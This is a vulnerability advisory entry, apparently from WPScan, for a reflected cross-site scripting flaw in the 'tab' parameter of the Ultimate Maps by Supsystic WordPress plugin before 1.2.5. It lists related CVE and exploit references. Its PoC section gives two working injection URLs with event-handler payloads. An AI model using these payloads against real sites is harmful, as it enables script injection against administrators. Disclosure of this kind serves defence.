Lucene search
0xB9WPVDB-ID:200A3031-7C42-4189-96B1-BED9E0AB7C1DHistoryApr 19, 2021 - 12:00 a.m.
Ultimate Maps by Supsystic < 1.2.5 - Reflected Cross-Site scripting (XSS)
2021-04-1900:00:00
0xB9
wpscan.com
6
The plugin did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue
PoC
/wp-admin/admin.php?page=ultimate-maps-supsystic&tab;=“onmouseover=alert(1)// /wp-admin/admin.php?page=ultimate-maps-supsystic&tab;=”+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
| CPE | Name | Operator | Version |
|---|---|---|---|
| ultimate-maps-by-supsystic | lt | 1.2.5 |
Related
zdt
zdt
prion
prion
Cross site scripting
2021-05-05 19:15:00
packetstorm
packetstorm
WordPress Ultimate Maps 1.2.4 Cross Site Scripting
2021-09-28 00:00:00
wpexploit
wpexploit
Ultimate Maps by Supsystic < 1.2.5 - Reflected Cross-Site scripting (XSS)
2021-04-19 00:00:00
patchstack
patchstack
cve
cve
CVE-2021-24274
2021-05-05 19:15:00
nuclei
nuclei
WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting
2021-09-28 17:11:56
exploitdb
exploitdb
WordPress Plugin Ultimate Maps 1.2.4 - Reflected Cross-Site Scripting (XSS)
2021-09-28 00:00:00
Related for WPVDB-ID:200A3031-7C42-4189-96B1-BED9E0AB7C1D